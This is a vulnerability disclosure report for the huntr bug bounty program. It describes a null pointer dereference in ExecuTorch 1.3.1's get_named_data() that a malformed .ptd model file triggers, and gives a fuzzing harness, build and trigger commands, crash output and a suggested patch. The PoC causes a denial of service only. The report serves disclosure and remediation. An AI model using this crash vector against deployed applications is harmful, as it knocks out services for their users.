Null Pointer Dereference in ExecuTorch get_named_data() Search Loop via Missing NamedData.key (.ptd)
Target: ExecuTorch 1.3.1 (.ptd, huntr Model File Vulnerability program)
Severity: Low-Medium (Denial of Service)
CWE: CWE-476 (NULL Pointer Dereference)
Component: extension/flat_tensor/flat_tensor_data_map.cpp
Authentication Required: No β only requires a victim application to load an attacker-supplied .ptd file and call any of three public lookup APIs.
Summary
get_named_data() β the anonymous-namespace linear-search helper backing FlatTensorDataMap::get_tensor_layout(), get_data(), and load_data_into() β dereferences each NamedData entry's key field without checking it for null while comparing entries against the requested lookup key. A .ptd file containing any NamedData entry with an omitted key crashes the search loop as soon as it reaches that entry, regardless of which key the caller was actually looking for. This means a single malformed entry anywhere in the file breaks every subsequent lookup by name, not just lookups for that specific (missing) key.
This is a distinct bug from a previously identified null-deref in get_key() (the direct index-based lookup) β confirmed independently below using a harness that never calls get_key() at all, ruling out any possibility that this report is merely re-describing that other function's crash.
Vulnerability Details
extension/flat_tensor/flat_tensor_data_map.cpp's get_named_data() (pristine 1.3.1 source, anonymous namespace, lines 49β66):
Result<const flat_tensor_flatbuffer::NamedData*> get_named_data(
executorch::aten::string_view key,
const flatbuffers::Vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>>* named_data,
const flatbuffers::Vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>>* segments,
size_t segment_end_offset) {
if (named_data == nullptr) {
return Error::NotFound;
}
for (flatbuffers::uoffset_t i = 0; i < named_data->size(); ++i) {
if (key.size() == named_data->Get(i)->key()->size() && // <-- crash site, line 61
std::strncmp(
named_data->Get(i)->key()->c_str(),
key.data(),
named_data->Get(i)->key()->size()) == 0) {
const auto* found = named_data->Get(i);
...
The loop iterates every element of named_data looking for a match against the caller-supplied key. If any element β not necessarily the one the caller wants β has a null key(), the comparison on line 61 crashes before the loop can move past that element to check the rest.
Steps to Reproduce
Environment
Linux x86-64, ExecuTorch 1.3.1 pristine source, clang-16, CMake, Ninja. No authentication, no host access.
1. Build ExecuTorch with sanitizers
Same build as REPORT-01 Step 1.
2. Build the isolated PoC harness (poc/harness_isolated_get_named_data.cpp, included in this report)
This harness deliberately calls only get_tensor_layout() and get_data() for a fixed set of candidate key strings β it never calls get_key() or get_num_keys() β to prove this bug is independent of the get_key() accessor:
extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
// ... load FlatTensorDataMap ...
const char* candidates[] = {"weight0", "weight1", "a", "x", ""};
for (const char* k : candidates) {
(void)m.get_tensor_layout(executorch::aten::string_view(k, strlen(k)));
(void)m.get_data(executorch::aten::string_view(k, strlen(k)));
}
}
export ET_PARENT=/path/to/parent-of-executorch
C10_INC="$ET_SRC/runtime/core/portable_type/c10"
INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
$INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
-c poc/harness_isolated_get_named_data.cpp -o harness.o
clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
"$ET_BUILD/extension/flat_tensor/libextension_flat_tensor.a" \
"$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
"$ET_BUILD/libexecutorch_core.a"
3. PoC file
poc/poc_get_named_data_search_null.ptd (182 bytes, included in this report β sha256 9fcfd7bc5d389d0c86e93fc5a847bb5ee537be8ffaa664059d1afbf3e8f97f9c) contains a named_data vector with at least one NamedData entry whose key field is omitted.
4. Trigger the crash
export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
./poc_harness -timeout=5 -runs=0 poc/poc_get_named_data_search_null.ptd
Expected result (secure behavior)
The search loop should skip past a NamedData entry with no key (or return a clean error), regardless of which key the caller is actually searching for.
Actual result β verified in isolation against the pristine, unmodified ExecuTorch 1.3.1 source
Running: poc/poc_get_named_data_search_null.ptd
extension/flat_tensor/flat_tensor_data_map.cpp:61:50: runtime error: member call on null pointer of type 'flatbuffers::Vector<char>'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior extension/flat_tensor/flat_tensor_data_map.cpp:61:50 in
==<pid>== ERROR: libFuzzer: deadly signal
Reproduced 3/3 identical runs, in isolation (harness never calls get_key(); re-verified live for this report against the pristine source):
run 1: extension/flat_tensor/flat_tensor_data_map.cpp:61:50: runtime error: member call on null pointer of type 'flatbuffers::Vector<char>'
run 2: (identical)
run 3: (identical)
This isolation test is the key evidence distinguishing this finding from a previously-identified crash in get_key()'s direct-index lookup (a different function reading the same NamedData.key field): the crash reproduces here even when get_key() is never called at all.
Impact
Who is affected: Any application calling get_tensor_layout(), get_data(), or load_data_into() β three separate public lookup APIs, all backed by this one search function.
What the attacker can do: Cause a deterministic crash on any name lookup by placing a single malformed entry anywhere in the named_data vector. This is broader in effect than a bug that only affects a specific key β a victim application would see every subsequent tensor/blob lookup fail with a crash, not just a lookup for the missing entry, since the search must linearly scan past it for any query.
What's at risk: Availability only.
Why not Critical: Controlled null-pointer dereference, no memory corruption or code execution.
Suggested Remediation
for (flatbuffers::uoffset_t i = 0; i < named_data->size(); ++i) {
const auto* entry = named_data->Get(i);
if (entry == nullptr || entry->key() == nullptr) {
continue; // skip malformed entries rather than crashing
}
if (key.size() == entry->key()->size() &&
std::strncmp(entry->key()->c_str(), key.data(), entry->key()->size()) == 0) {
const auto* found = entry;
...
Design recommendation: this is the third function in this file found to independently need this exact NamedData.key null check (alongside get_key()). A single shared helper (e.g. is_valid_named_data_entry(const NamedData*)) used by every accessor that reads NamedData elements would close this class of bugs at the source rather than requiring per-function patches as new accessors are added or fuzzed.
A regression test should build a .ptd with one NamedData entry having key omitted and a second entry with a real key, then call get_tensor_layout()/get_data()/load_data_into() for the second (valid) key, asserting the lookup succeeds (or fails cleanly) rather than crashing while scanning past the first, invalid entry.
Files Included in This Report
poc/poc_get_named_data_search_null.ptdβ the 182-byte PoC file (sha2569fcfd7bc5d389d0c86e93fc5a847bb5ee537be8ffaa664059d1afbf3e8f97f9c)poc/harness_isolated_get_named_data.cppβ the isolated harness proving this bug independent ofget_key()
huntr Submission Note
Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. poc/poc_get_named_data_search_null.ptd is ready for that upload.